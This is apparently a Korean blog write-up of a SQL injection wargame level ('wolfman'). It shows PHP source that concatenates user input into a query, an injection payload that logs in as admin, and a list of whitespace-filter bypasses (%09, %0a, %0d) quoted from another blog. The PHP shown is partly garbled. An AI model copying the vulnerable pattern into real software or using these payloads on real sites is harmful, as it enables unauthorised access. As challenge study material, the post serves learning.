반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>
cs

 

if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");

 

공백을 필터링한다. 공백이 가능할 경우에는 1' or '1'='1' and id='admin 로 입력을 하면

 

query : select id from prob_wolfman where id='guest' and pw='1' or '1'='1' and id='admin'

가 되어서 admin으로 된다.

 

공백을 우회하는 방법은 여러가지가 있다. 아래 블로그를 참고했다.

https://binaryu.tistory.com/31

 

SQL Injection 공백 우회방법

SQL Injection 공격시 공백 문자 필터링시 우회 방법 1. Tab : %09 - no=1%09or%09id='admin' 2. Line Feed (\n): %0a - no=1%0aor%0aid='admin' 3. Carrage Return(\r) : %0d - no=1%0dor%0did='admin' 4. 주석 :..

binaryu.tistory.com

그 중 %0a을 이용해서 공백 필터링을 우회할 수 있었다.

 

 

반응형

+ Recent posts